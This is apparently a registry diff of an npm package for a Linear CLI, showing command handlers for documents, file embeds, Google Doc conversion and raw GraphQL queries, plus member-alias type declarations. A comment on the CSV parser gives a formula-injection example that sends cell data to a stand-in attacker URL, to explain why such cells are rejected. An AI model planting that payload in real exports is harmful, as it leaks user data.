@enrichlayer/el-linear 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +219 -0
- package/claude-skills/linear-operations/SKILL.md +315 -0
- package/claude-skills/linear-operations/evals/evals.json +46 -0
- package/dist/commands/attachments.d.ts +2 -0
- package/dist/commands/attachments.js +57 -0
- package/dist/commands/batch.d.ts +2 -0
- package/dist/commands/batch.js +309 -0
- package/dist/commands/comments.d.ts +2 -0
- package/dist/commands/comments.js +272 -0
- package/dist/commands/config.d.ts +2 -0
- package/dist/commands/config.js +15 -0
- package/dist/commands/cycles.d.ts +2 -0
- package/dist/commands/cycles.js +63 -0
- package/dist/commands/documents.d.ts +2 -0
- package/dist/commands/documents.js +175 -0
- package/dist/commands/embeds.d.ts +2 -0
- package/dist/commands/embeds.js +65 -0
- package/dist/commands/gdoc.d.ts +2 -0
- package/dist/commands/gdoc.js +37 -0
- package/dist/commands/graphql.d.ts +2 -0
- package/dist/commands/graphql.js +70 -0
- package/dist/commands/init/aliases.d.ts +109 -0
- package/dist/commands/init/aliases.js +569 -0
- package/dist/commands/init/defaults.d.ts +25 -0
- package/dist/commands/init/defaults.js +112 -0
- package/dist/commands/init/index.d.ts +18 -0
- package/dist/commands/init/index.js +182 -0
- package/dist/commands/init/shared.d.ts +88 -0
- package/dist/commands/init/shared.js +164 -0
- package/dist/commands/init/token.d.ts +50 -0
- package/dist/commands/init/token.js +141 -0
- package/dist/commands/init/workspace.d.ts +20 -0
- package/dist/commands/init/workspace.js +80 -0
- package/dist/commands/issue-id.d.ts +28 -0
- package/dist/commands/issue-id.js +81 -0
- package/dist/commands/issues.d.ts +2 -0
- package/dist/commands/issues.js +1145 -0
- package/dist/commands/labels.d.ts +2 -0
- package/dist/commands/labels.js +100 -0
- package/dist/commands/project-milestones.d.ts +2 -0
- package/dist/commands/project-milestones.js +143 -0
- package/dist/commands/projects.d.ts +2 -0
- package/dist/commands/projects.js +336 -0
- package/dist/commands/read-shortcut.d.ts +6 -0
- package/dist/commands/read-shortcut.js +69 -0
- package/dist/commands/releases.d.ts +2 -0
- package/dist/commands/releases.js +142 -0
- package/dist/commands/search.d.ts +2 -0
- package/dist/commands/search.js +171 -0
- package/dist/commands/teams.d.ts +2 -0
- package/dist/commands/teams.js +19 -0
- package/dist/commands/templates.d.ts +2 -0
- package/dist/commands/templates.js +58 -0
- package/dist/commands/users.d.ts +2 -0
- package/dist/commands/users.js +17 -0
- package/dist/config/config.d.ts +43 -0
- package/dist/config/config.js +81 -0
- package/dist/config/issue-validation.d.ts +39 -0
- package/dist/config/issue-validation.js +264 -0
- package/dist/config/paths.d.ts +20 -0
- package/dist/config/paths.js +22 -0
- package/dist/config/resolver.d.ts +25 -0
- package/dist/config/resolver.js +183 -0
- package/dist/config/status-defaults.d.ts +13 -0
- package/dist/config/status-defaults.js +20 -0
- package/dist/config/term-enforcer.d.ts +31 -0
- package/dist/config/term-enforcer.js +69 -0
- package/dist/main.d.ts +2 -0
- package/dist/main.js +76 -0
- package/dist/queries/attachments.d.ts +3 -0
- package/dist/queries/attachments.js +35 -0
- package/dist/queries/comments.d.ts +3 -0
- package/dist/queries/comments.js +64 -0
- package/dist/queries/common.d.ts +2 -0
- package/dist/queries/common.js +109 -0
- package/dist/queries/cycles.d.ts +2 -0
- package/dist/queries/cycles.js +40 -0
- package/dist/queries/documents.d.ts +5 -0
- package/dist/queries/documents.js +67 -0
- package/dist/queries/introspect.d.ts +2 -0
- package/dist/queries/introspect.js +24 -0
- package/dist/queries/issues.d.ts +23 -0
- package/dist/queries/issues.js +380 -0
- package/dist/queries/labels.d.ts +4 -0
- package/dist/queries/labels.js +53 -0
- package/dist/queries/project-milestones.d.ts +6 -0
- package/dist/queries/project-milestones.js +125 -0
- package/dist/queries/projects.d.ts +7 -0
- package/dist/queries/projects.js +104 -0
- package/dist/queries/releases.d.ts +4 -0
- package/dist/queries/releases.js +85 -0
- package/dist/queries/search.d.ts +1 -0
- package/dist/queries/search.js +35 -0
- package/dist/queries/templates.d.ts +2 -0
- package/dist/queries/templates.js +30 -0
- package/dist/types/linear.d.ts +217 -0
- package/dist/types/linear.js +6 -0
- package/dist/utils/auth.d.ts +4 -0
- package/dist/utils/auth.js +23 -0
- package/dist/utils/auto-link-references.d.ts +47 -0
- package/dist/utils/auto-link-references.js +188 -0
- package/dist/utils/date-format.d.ts +4 -0
- package/dist/utils/date-format.js +8 -0
- package/dist/utils/download-uploads.d.ts +7 -0
- package/dist/utils/download-uploads.js +88 -0
- package/dist/utils/embed-parser.d.ts +8 -0
- package/dist/utils/embed-parser.js +54 -0
- package/dist/utils/error-messages.d.ts +4 -0
- package/dist/utils/error-messages.js +17 -0
- package/dist/utils/file-service.d.ts +13 -0
- package/dist/utils/file-service.js +239 -0
- package/dist/utils/gdoc-parser.d.ts +45 -0
- package/dist/utils/gdoc-parser.js +107 -0
- package/dist/utils/graphql-attachments-service.d.ts +12 -0
- package/dist/utils/graphql-attachments-service.js +46 -0
- package/dist/utils/graphql-documents-service.d.ts +18 -0
- package/dist/utils/graphql-documents-service.js +97 -0
- package/dist/utils/graphql-issues-service.d.ts +49 -0
- package/dist/utils/graphql-issues-service.js +925 -0
- package/dist/utils/graphql-service.d.ts +8 -0
- package/dist/utils/graphql-service.js +35 -0
- package/dist/utils/identifier-parser.d.ts +7 -0
- package/dist/utils/identifier-parser.js +20 -0
- package/dist/utils/issue-reference-extractor.d.ts +18 -0
- package/dist/utils/issue-reference-extractor.js +95 -0
- package/dist/utils/issue-reference-wrapper.d.ts +12 -0
- package/dist/utils/issue-reference-wrapper.js +91 -0
- package/dist/utils/linear-service.d.ts +26 -0
- package/dist/utils/linear-service.js +442 -0
- package/dist/utils/logger.d.ts +4 -0
- package/dist/utils/logger.js +8 -0
- package/dist/utils/markdown-prosemirror.d.ts +24 -0
- package/dist/utils/markdown-prosemirror.js +325 -0
- package/dist/utils/mention-resolver.d.ts +31 -0
- package/dist/utils/mention-resolver.js +234 -0
- package/dist/utils/output.d.ts +7 -0
- package/dist/utils/output.js +125 -0
- package/dist/utils/table-formatter.d.ts +4 -0
- package/dist/utils/table-formatter.js +249 -0
- package/dist/utils/usage.d.ts +2 -0
- package/dist/utils/usage.js +24 -0
- package/dist/utils/uuid.d.ts +2 -0
- package/dist/utils/uuid.js +8 -0
- package/dist/utils/validate-references.d.ts +10 -0
- package/dist/utils/validate-references.js +33 -0
- package/dist/utils/validators.d.ts +7 -0
- package/dist/utils/validators.js +71 -0
- package/dist/utils/workspace-url.d.ts +4 -0
- package/dist/utils/workspace-url.js +44 -0
- package/package.json +71 -0
|
@@ -0,0 +1,175 @@
|
|
|
1
|
+
import { createGraphQLAttachmentsService } from "../utils/graphql-attachments-service.js";
|
|
2
|
+
import { createGraphQLDocumentsService } from "../utils/graphql-documents-service.js";
|
|
3
|
+
import { createLinearService } from "../utils/linear-service.js";
|
|
4
|
+
import { handleAsyncCommand, outputSuccess } from "../utils/output.js";
|
|
5
|
+
function extractDocumentIdFromUrl(url) {
|
|
6
|
+
try {
|
|
7
|
+
const parsed = new URL(url);
|
|
8
|
+
if (!parsed.hostname.includes("linear.app")) {
|
|
9
|
+
return null;
|
|
10
|
+
}
|
|
11
|
+
const pathParts = parsed.pathname.split("/");
|
|
12
|
+
const docIndex = pathParts.indexOf("document");
|
|
13
|
+
if (docIndex === -1 || docIndex >= pathParts.length - 1) {
|
|
14
|
+
return null;
|
|
15
|
+
}
|
|
16
|
+
const docSlug = pathParts[docIndex + 1];
|
|
17
|
+
const lastHyphenIndex = docSlug.lastIndexOf("-");
|
|
18
|
+
if (lastHyphenIndex === -1) {
|
|
19
|
+
return docSlug || null;
|
|
20
|
+
}
|
|
21
|
+
return docSlug.substring(lastHyphenIndex + 1) || null;
|
|
22
|
+
}
|
|
23
|
+
catch {
|
|
24
|
+
return null;
|
|
25
|
+
}
|
|
26
|
+
}
|
|
27
|
+
async function handleCreateDocument(options, command) {
|
|
28
|
+
const rootOpts = command.parent.parent.opts();
|
|
29
|
+
const documentsService = createGraphQLDocumentsService(rootOpts);
|
|
30
|
+
const linearService = createLinearService(rootOpts);
|
|
31
|
+
const document = await documentsService.createDocument({
|
|
32
|
+
title: options.title,
|
|
33
|
+
content: options.content,
|
|
34
|
+
projectId: options.project
|
|
35
|
+
? await linearService.resolveProjectId(options.project)
|
|
36
|
+
: undefined,
|
|
37
|
+
teamId: options.team
|
|
38
|
+
? await linearService.resolveTeamId(options.team)
|
|
39
|
+
: undefined,
|
|
40
|
+
issueId: options.issue
|
|
41
|
+
? await linearService.resolveIssueId(options.issue)
|
|
42
|
+
: undefined,
|
|
43
|
+
icon: options.icon,
|
|
44
|
+
color: options.color,
|
|
45
|
+
});
|
|
46
|
+
if (options.attachTo) {
|
|
47
|
+
const attachmentsService = createGraphQLAttachmentsService(rootOpts);
|
|
48
|
+
const issueId = await linearService.resolveIssueId(options.attachTo);
|
|
49
|
+
try {
|
|
50
|
+
await attachmentsService.createAttachment({
|
|
51
|
+
issueId,
|
|
52
|
+
url: document.url,
|
|
53
|
+
title: document.title,
|
|
54
|
+
});
|
|
55
|
+
}
|
|
56
|
+
catch (attachError) {
|
|
57
|
+
const errorMessage = attachError instanceof Error
|
|
58
|
+
? attachError.message
|
|
59
|
+
: String(attachError);
|
|
60
|
+
throw new Error(`Document created (${document.id}) but failed to attach to issue "${options.attachTo}": ${errorMessage}.`);
|
|
61
|
+
}
|
|
62
|
+
}
|
|
63
|
+
outputSuccess(document);
|
|
64
|
+
}
|
|
65
|
+
async function handleListDocuments(options, command) {
|
|
66
|
+
if (options.project && options.issue) {
|
|
67
|
+
throw new Error("Cannot use --project and --issue together. Choose one filter.");
|
|
68
|
+
}
|
|
69
|
+
const rootOpts = command.parent.parent.opts();
|
|
70
|
+
const documentsService = createGraphQLDocumentsService(rootOpts);
|
|
71
|
+
const linearService = createLinearService(rootOpts);
|
|
72
|
+
const limit = Number.parseInt(options.limit || "50", 10);
|
|
73
|
+
if (Number.isNaN(limit) || limit < 1) {
|
|
74
|
+
throw new Error(`Invalid limit "${options.limit}": must be a positive number`);
|
|
75
|
+
}
|
|
76
|
+
if (options.issue) {
|
|
77
|
+
const attachmentsService = createGraphQLAttachmentsService(rootOpts);
|
|
78
|
+
const issueId = await linearService.resolveIssueId(options.issue);
|
|
79
|
+
const attachments = await attachmentsService.listAttachments(issueId);
|
|
80
|
+
const documentSlugIds = [
|
|
81
|
+
...new Set(attachments
|
|
82
|
+
.map((att) => extractDocumentIdFromUrl(att.url))
|
|
83
|
+
.filter((id) => id !== null)),
|
|
84
|
+
];
|
|
85
|
+
if (documentSlugIds.length === 0) {
|
|
86
|
+
outputSuccess({ data: [], meta: { count: 0 } });
|
|
87
|
+
return;
|
|
88
|
+
}
|
|
89
|
+
const docs = await documentsService.listDocumentsBySlugIds(documentSlugIds, limit);
|
|
90
|
+
outputSuccess({ data: docs, meta: { count: docs.length } });
|
|
91
|
+
return;
|
|
92
|
+
}
|
|
93
|
+
let projectId;
|
|
94
|
+
if (options.project) {
|
|
95
|
+
projectId = await linearService.resolveProjectId(options.project);
|
|
96
|
+
}
|
|
97
|
+
const docs = await documentsService.listDocuments({
|
|
98
|
+
projectId,
|
|
99
|
+
first: limit,
|
|
100
|
+
});
|
|
101
|
+
outputSuccess({ data: docs, meta: { count: docs.length } });
|
|
102
|
+
}
|
|
103
|
+
export function setupDocumentsCommands(program) {
|
|
104
|
+
const documents = program
|
|
105
|
+
.command("documents")
|
|
106
|
+
.alias("document")
|
|
107
|
+
.alias("doc")
|
|
108
|
+
.alias("docs")
|
|
109
|
+
.description("Document operations (project-level documentation)");
|
|
110
|
+
documents.action(() => documents.help());
|
|
111
|
+
documents
|
|
112
|
+
.command("create")
|
|
113
|
+
.description("Create a new document")
|
|
114
|
+
.requiredOption("--title <title>", "document title")
|
|
115
|
+
.option("--content <content>", "document content (markdown)")
|
|
116
|
+
.option("--project <project>", "project name or ID")
|
|
117
|
+
.option("--team <team>", "team key or name")
|
|
118
|
+
.option("--icon <icon>", "document icon")
|
|
119
|
+
.option("--color <color>", "icon color")
|
|
120
|
+
.option("--issue <issue>", "link document to issue (e.g., ABC-123)")
|
|
121
|
+
.option("--attach-to <issue>", "also attach document to issue (e.g., ABC-123)")
|
|
122
|
+
.action(handleAsyncCommand(handleCreateDocument));
|
|
123
|
+
documents
|
|
124
|
+
.command("update <documentId>")
|
|
125
|
+
.description("Update an existing document")
|
|
126
|
+
.option("--title <title>", "new document title")
|
|
127
|
+
.option("--content <content>", "new document content (markdown)")
|
|
128
|
+
.option("--project <project>", "move to different project")
|
|
129
|
+
.option("--icon <icon>", "document icon")
|
|
130
|
+
.option("--color <color>", "icon color")
|
|
131
|
+
.action(handleAsyncCommand(async (documentId, options, command) => {
|
|
132
|
+
const rootOpts = command.parent.parent.opts();
|
|
133
|
+
const documentsService = createGraphQLDocumentsService(rootOpts);
|
|
134
|
+
const linearService = createLinearService(rootOpts);
|
|
135
|
+
const input = {};
|
|
136
|
+
if (options.title) {
|
|
137
|
+
input.title = options.title;
|
|
138
|
+
}
|
|
139
|
+
if (options.content) {
|
|
140
|
+
input.content = options.content;
|
|
141
|
+
}
|
|
142
|
+
if (options.project) {
|
|
143
|
+
input.projectId = await linearService.resolveProjectId(options.project);
|
|
144
|
+
}
|
|
145
|
+
if (options.icon) {
|
|
146
|
+
input.icon = options.icon;
|
|
147
|
+
}
|
|
148
|
+
if (options.color) {
|
|
149
|
+
input.color = options.color;
|
|
150
|
+
}
|
|
151
|
+
outputSuccess(await documentsService.updateDocument(documentId, input));
|
|
152
|
+
}));
|
|
153
|
+
documents
|
|
154
|
+
.command("read <documentId>")
|
|
155
|
+
.description("Read a document")
|
|
156
|
+
.action(handleAsyncCommand(async (documentId, _options, command) => {
|
|
157
|
+
const rootOpts = command.parent.parent.opts();
|
|
158
|
+
outputSuccess(await createGraphQLDocumentsService(rootOpts).getDocument(documentId));
|
|
159
|
+
}));
|
|
160
|
+
documents
|
|
161
|
+
.command("list")
|
|
162
|
+
.description("List documents")
|
|
163
|
+
.option("--project <project>", "filter by project name or ID")
|
|
164
|
+
.option("--issue <issue>", "filter by issue (shows documents attached to the issue)")
|
|
165
|
+
.option("-l, --limit <limit>", "maximum number of documents", "50")
|
|
166
|
+
.action(handleAsyncCommand(handleListDocuments));
|
|
167
|
+
documents
|
|
168
|
+
.command("delete <documentId>")
|
|
169
|
+
.description("Delete (trash) a document")
|
|
170
|
+
.action(handleAsyncCommand(async (documentId, _options, command) => {
|
|
171
|
+
const rootOpts = command.parent.parent.opts();
|
|
172
|
+
await createGraphQLDocumentsService(rootOpts).deleteDocument(documentId);
|
|
173
|
+
outputSuccess({ success: true, message: "Document moved to trash" });
|
|
174
|
+
}));
|
|
175
|
+
}
|
|
@@ -0,0 +1,65 @@
|
|
|
1
|
+
import { getApiToken } from "../utils/auth.js";
|
|
2
|
+
import { FileService } from "../utils/file-service.js";
|
|
3
|
+
import { handleAsyncCommand, outputSuccess } from "../utils/output.js";
|
|
4
|
+
export function setupEmbedsCommands(program) {
|
|
5
|
+
const embeds = program
|
|
6
|
+
.command("embeds")
|
|
7
|
+
.description("Upload and download files from Linear storage.");
|
|
8
|
+
embeds.action(() => embeds.help());
|
|
9
|
+
embeds
|
|
10
|
+
.command("download <url>")
|
|
11
|
+
.description("Download a file from Linear storage.")
|
|
12
|
+
.option("--output <path>", "output file path")
|
|
13
|
+
.option("--overwrite", "overwrite existing file", false)
|
|
14
|
+
.action(handleAsyncCommand(async (url, options, command) => {
|
|
15
|
+
const apiToken = getApiToken(command.parent.parent.opts());
|
|
16
|
+
const fileService = new FileService(apiToken);
|
|
17
|
+
const result = await fileService.downloadFile(url, {
|
|
18
|
+
output: options.output,
|
|
19
|
+
overwrite: options.overwrite,
|
|
20
|
+
});
|
|
21
|
+
if (result.success) {
|
|
22
|
+
outputSuccess({
|
|
23
|
+
success: true,
|
|
24
|
+
filePath: result.filePath,
|
|
25
|
+
message: `File downloaded successfully to ${result.filePath}`,
|
|
26
|
+
});
|
|
27
|
+
}
|
|
28
|
+
else {
|
|
29
|
+
const error = {
|
|
30
|
+
success: false,
|
|
31
|
+
error: result.error,
|
|
32
|
+
};
|
|
33
|
+
if (result.statusCode) {
|
|
34
|
+
error.statusCode = result.statusCode;
|
|
35
|
+
}
|
|
36
|
+
outputSuccess(error);
|
|
37
|
+
}
|
|
38
|
+
}));
|
|
39
|
+
embeds
|
|
40
|
+
.command("upload <file>")
|
|
41
|
+
.description("Upload a file to Linear storage.")
|
|
42
|
+
.action(handleAsyncCommand(async (filePath, _options, command) => {
|
|
43
|
+
const apiToken = getApiToken(command.parent.parent.opts());
|
|
44
|
+
const fileService = new FileService(apiToken);
|
|
45
|
+
const result = await fileService.uploadFile(filePath);
|
|
46
|
+
if (result.success) {
|
|
47
|
+
outputSuccess({
|
|
48
|
+
success: true,
|
|
49
|
+
assetUrl: result.assetUrl,
|
|
50
|
+
filename: result.filename,
|
|
51
|
+
message: `File uploaded successfully: ${result.assetUrl}`,
|
|
52
|
+
});
|
|
53
|
+
}
|
|
54
|
+
else {
|
|
55
|
+
const error = {
|
|
56
|
+
success: false,
|
|
57
|
+
error: result.error,
|
|
58
|
+
};
|
|
59
|
+
if (result.statusCode) {
|
|
60
|
+
error.statusCode = result.statusCode;
|
|
61
|
+
}
|
|
62
|
+
outputSuccess(error);
|
|
63
|
+
}
|
|
64
|
+
}));
|
|
65
|
+
}
|
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
import { execFileSync } from "node:child_process";
|
|
2
|
+
import { extractDocId, parseGoogleDoc } from "../utils/gdoc-parser.js";
|
|
3
|
+
import { handleAsyncCommand } from "../utils/output.js";
|
|
4
|
+
export function setupGdocCommands(program) {
|
|
5
|
+
program
|
|
6
|
+
.command("gdoc <docIdOrUrl>")
|
|
7
|
+
.description("Convert a Google Doc to Markdown (requires gws CLI).")
|
|
8
|
+
.addHelpText("after", "\nAccepts a Google Doc ID or full URL.\nRequires gws CLI: npm install -g @googleworkspace/cli")
|
|
9
|
+
.action(handleAsyncCommand(async (docIdOrUrl) => {
|
|
10
|
+
const docId = extractDocId(docIdOrUrl);
|
|
11
|
+
let stdout;
|
|
12
|
+
try {
|
|
13
|
+
stdout = execFileSync("gws", [
|
|
14
|
+
"docs",
|
|
15
|
+
"documents",
|
|
16
|
+
"get",
|
|
17
|
+
"--params",
|
|
18
|
+
JSON.stringify({ documentId: docId }),
|
|
19
|
+
], {
|
|
20
|
+
encoding: "utf-8",
|
|
21
|
+
timeout: 30_000,
|
|
22
|
+
stdio: ["pipe", "pipe", "pipe"],
|
|
23
|
+
});
|
|
24
|
+
}
|
|
25
|
+
catch (err) {
|
|
26
|
+
const msg = err instanceof Error ? err.message : String(err);
|
|
27
|
+
if (msg.includes("ENOENT")) {
|
|
28
|
+
throw new Error("gws CLI not found. Install it: npm install -g @googleworkspace/cli && gws auth login");
|
|
29
|
+
}
|
|
30
|
+
throw new Error(`Failed to fetch Google Doc: ${msg}`);
|
|
31
|
+
}
|
|
32
|
+
const doc = JSON.parse(stdout);
|
|
33
|
+
const markdown = parseGoogleDoc(doc);
|
|
34
|
+
// Output raw markdown to stdout (not JSON) so it's pipeable
|
|
35
|
+
process.stdout.write(markdown);
|
|
36
|
+
}));
|
|
37
|
+
}
|
|
@@ -0,0 +1,70 @@
|
|
|
1
|
+
import fs from "node:fs";
|
|
2
|
+
import { INTROSPECT_ROOT_QUERY, INTROSPECT_TYPE_QUERY, } from "../queries/introspect.js";
|
|
3
|
+
import { createGraphQLService } from "../utils/graphql-service.js";
|
|
4
|
+
import { handleAsyncCommand, outputSuccess } from "../utils/output.js";
|
|
5
|
+
async function executeQuery(query, options, command) {
|
|
6
|
+
let finalQuery = query;
|
|
7
|
+
if (options.file) {
|
|
8
|
+
if (!fs.existsSync(options.file)) {
|
|
9
|
+
throw new Error(`File not found: ${options.file}`);
|
|
10
|
+
}
|
|
11
|
+
finalQuery = fs.readFileSync(options.file, "utf8").trim();
|
|
12
|
+
}
|
|
13
|
+
if (!finalQuery) {
|
|
14
|
+
throw new Error("Provide a GraphQL query as an argument or via --file");
|
|
15
|
+
}
|
|
16
|
+
let variables;
|
|
17
|
+
if (options.variables) {
|
|
18
|
+
try {
|
|
19
|
+
variables = JSON.parse(options.variables);
|
|
20
|
+
}
|
|
21
|
+
catch {
|
|
22
|
+
throw new Error(`Invalid JSON in --variables: ${options.variables}`);
|
|
23
|
+
}
|
|
24
|
+
}
|
|
25
|
+
const rootOpts = command.parent.opts();
|
|
26
|
+
const graphQLService = createGraphQLService(rootOpts);
|
|
27
|
+
const result = await graphQLService.rawRequest(finalQuery, variables);
|
|
28
|
+
outputSuccess(result);
|
|
29
|
+
}
|
|
30
|
+
export function setupGraphQLCommands(program) {
|
|
31
|
+
// Primary command: el-linear graphql '{ ... }' (backward compatible)
|
|
32
|
+
program
|
|
33
|
+
.command("graphql [query]")
|
|
34
|
+
.description("Execute a raw GraphQL query against the Linear API.")
|
|
35
|
+
.option("--file <path>", "read query from a file")
|
|
36
|
+
.option("--variables <json>", "JSON string of variables")
|
|
37
|
+
.action(handleAsyncCommand(executeQuery));
|
|
38
|
+
// Separate introspect command
|
|
39
|
+
program
|
|
40
|
+
.command("introspect [typeName]")
|
|
41
|
+
.description("Introspect the Linear GraphQL schema. Without args lists root query fields; with a type name shows its fields and args.")
|
|
42
|
+
.option("--filter <pattern>", "filter fields by name (case-insensitive substring match)")
|
|
43
|
+
.action(handleAsyncCommand(async (typeName, options, command) => {
|
|
44
|
+
const rootOpts = command.parent.opts();
|
|
45
|
+
const graphQLService = createGraphQLService(rootOpts);
|
|
46
|
+
if (typeName) {
|
|
47
|
+
const result = await graphQLService.rawRequest(INTROSPECT_TYPE_QUERY, { typeName });
|
|
48
|
+
const typeInfo = result.__type;
|
|
49
|
+
if (!typeInfo) {
|
|
50
|
+
throw new Error(`Type "${typeName}" not found in schema`);
|
|
51
|
+
}
|
|
52
|
+
outputSuccess(typeInfo);
|
|
53
|
+
}
|
|
54
|
+
else {
|
|
55
|
+
const result = await graphQLService.rawRequest(INTROSPECT_ROOT_QUERY);
|
|
56
|
+
const queryType = result.__type;
|
|
57
|
+
let fields = queryType?.fields ?? [];
|
|
58
|
+
if (options.filter) {
|
|
59
|
+
const pattern = options.filter.toLowerCase();
|
|
60
|
+
fields = fields.filter((f) => f.name.toLowerCase().includes(pattern));
|
|
61
|
+
}
|
|
62
|
+
const summary = fields.map((f) => ({
|
|
63
|
+
name: f.name,
|
|
64
|
+
description: f.description ?? null,
|
|
65
|
+
args: (f.args ?? []).map((a) => a.name),
|
|
66
|
+
}));
|
|
67
|
+
outputSuccess({ fields: summary, count: summary.length });
|
|
68
|
+
}
|
|
69
|
+
}));
|
|
70
|
+
}
|
|
@@ -0,0 +1,109 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Step 3 of the wizard: member aliases.
|
|
3
|
+
*
|
|
4
|
+
* For each Linear user in the workspace, the user can add short aliases,
|
|
5
|
+
* GitHub handles, and GitLab handles used for resolution. Skip-by-default
|
|
6
|
+
* (most users skip this and only fill in the people they @-mention often).
|
|
7
|
+
*
|
|
8
|
+
* Idempotent: re-running shows the current aliases per user and offers a
|
|
9
|
+
* 4-way menu (keep / edit / append / clear) plus quit. Progress is persisted
|
|
10
|
+
* so an interrupted walk can be resumed via `el-linear init aliases`.
|
|
11
|
+
*/
|
|
12
|
+
import { type WizardConfig } from "./shared.js";
|
|
13
|
+
export interface User {
|
|
14
|
+
id: string;
|
|
15
|
+
name: string;
|
|
16
|
+
email: string | null;
|
|
17
|
+
displayName: string;
|
|
18
|
+
}
|
|
19
|
+
export declare function fetchAllUsers(token: string): Promise<User[]>;
|
|
20
|
+
/**
|
|
21
|
+
* Find groups of users sharing the same display name. The current alias
|
|
22
|
+
* config keys aliases by display name, so colliding users would silently
|
|
23
|
+
* overwrite each other's entries. Detection is exported so the wizard can
|
|
24
|
+
* warn + skip those users; a follow-up (1.3.0) will migrate the on-disk
|
|
25
|
+
* schema to UUID-keyed maps.
|
|
26
|
+
*/
|
|
27
|
+
export declare function findDisplayNameCollisions(users: User[]): Map<string, User[]>;
|
|
28
|
+
/**
|
|
29
|
+
* Merge new alias entries into existing config without dropping unrelated
|
|
30
|
+
* fields. Pure function — no I/O. Exported for testing.
|
|
31
|
+
*/
|
|
32
|
+
export declare function mergeAliasesIntoConfig(existing: WizardConfig, updates: Map<string, AliasUpdate>): WizardConfig;
|
|
33
|
+
/**
|
|
34
|
+
* What to do with a single platform handle (github/gitlab/...) when applying
|
|
35
|
+
* an AliasUpdate. Discriminated union; no sentinel strings.
|
|
36
|
+
*
|
|
37
|
+
* - keep: no change (leave any existing handle for this user alone)
|
|
38
|
+
* - clear: delete any existing handle for this user
|
|
39
|
+
* - set: replace any existing handle with the given value
|
|
40
|
+
*/
|
|
41
|
+
export type HandleAction = {
|
|
42
|
+
kind: "keep";
|
|
43
|
+
} | {
|
|
44
|
+
kind: "clear";
|
|
45
|
+
} | {
|
|
46
|
+
kind: "set";
|
|
47
|
+
value: string;
|
|
48
|
+
};
|
|
49
|
+
/** Set of supported platforms for member handle keys. */
|
|
50
|
+
export declare const HANDLE_PLATFORMS: readonly ["github", "gitlab"];
|
|
51
|
+
export type HandlePlatform = (typeof HANDLE_PLATFORMS)[number];
|
|
52
|
+
export interface AliasUpdate {
|
|
53
|
+
displayName: string;
|
|
54
|
+
mode: "keep" | "edit" | "append" | "clear";
|
|
55
|
+
aliases: string[];
|
|
56
|
+
github: HandleAction;
|
|
57
|
+
gitlab: HandleAction;
|
|
58
|
+
}
|
|
59
|
+
/**
|
|
60
|
+
* Walk users one-by-one. Returns updates keyed by user UUID. Caller writes
|
|
61
|
+
* them back via `mergeAliasesIntoConfig`. The CSV import path is a separate
|
|
62
|
+
* entrypoint (`runAliasesImport`) — there's no `importCsv` option on this
|
|
63
|
+
* function, since the index.ts handler picks one or the other.
|
|
64
|
+
*/
|
|
65
|
+
export declare function runAliasesStep(token: string, existing: WizardConfig, options?: {
|
|
66
|
+
/** Skip the per-section "walk now?" prompt and force the walk. */
|
|
67
|
+
force?: boolean;
|
|
68
|
+
}): Promise<Map<string, AliasUpdate>>;
|
|
69
|
+
/**
|
|
70
|
+
* Batch alias import from a CSV. Format:
|
|
71
|
+
* email,aliases,github,gitlab
|
|
72
|
+
* alice@example.com,"alice,ali",alice-gh,
|
|
73
|
+
* bob@example.com,"bob",,
|
|
74
|
+
*
|
|
75
|
+
* Lines starting with `#` are comments. Aliases column is comma-separated
|
|
76
|
+
* inside the cell; if the cell contains commas it must be quoted.
|
|
77
|
+
*
|
|
78
|
+
* Resolves emails to Linear user UUIDs internally, so the result is keyed
|
|
79
|
+
* by UUID and ready to pass to `mergeAliasesIntoConfig`. Rows whose email
|
|
80
|
+
* doesn't match an active user are reported via the returned `skipped[]`
|
|
81
|
+
* list (the caller decides whether to surface them).
|
|
82
|
+
*/
|
|
83
|
+
export interface AliasesImportResult {
|
|
84
|
+
updates: Map<string, AliasUpdate>;
|
|
85
|
+
skipped: string[];
|
|
86
|
+
}
|
|
87
|
+
export declare function runAliasesImport(token: string, csvPath: string): Promise<AliasesImportResult>;
|
|
88
|
+
interface CsvRow {
|
|
89
|
+
email?: string;
|
|
90
|
+
aliases?: string;
|
|
91
|
+
github?: string;
|
|
92
|
+
gitlab?: string;
|
|
93
|
+
}
|
|
94
|
+
/**
|
|
95
|
+
* Single-pass character-state CSV parser. Handles RFC 4180 specifics that
|
|
96
|
+
* a split-by-newline approach gets wrong:
|
|
97
|
+
* - Cells with embedded newlines (legal when quoted)
|
|
98
|
+
* - Escaped quotes (`""` inside a quoted cell)
|
|
99
|
+
* - CRLF line endings
|
|
100
|
+
* - `#` comment lines (el-linear extension; only at line start)
|
|
101
|
+
*
|
|
102
|
+
* Sanitizes against CSV-formula-injection at parse time: any cell starting
|
|
103
|
+
* with `=`, `+`, `-`, `@`, `\t`, or `\r` is rejected. These would activate
|
|
104
|
+
* formulas if the resulting config were ever round-tripped to a spreadsheet
|
|
105
|
+
* (e.g. an alias of `=HYPERLINK("http://attacker/?leak="&A1)` would store
|
|
106
|
+
* verbatim today and fire the moment someone opened the export in Excel).
|
|
107
|
+
*/
|
|
108
|
+
export declare function parseCsv(text: string): CsvRow[];
|
|
109
|
+
export {};
|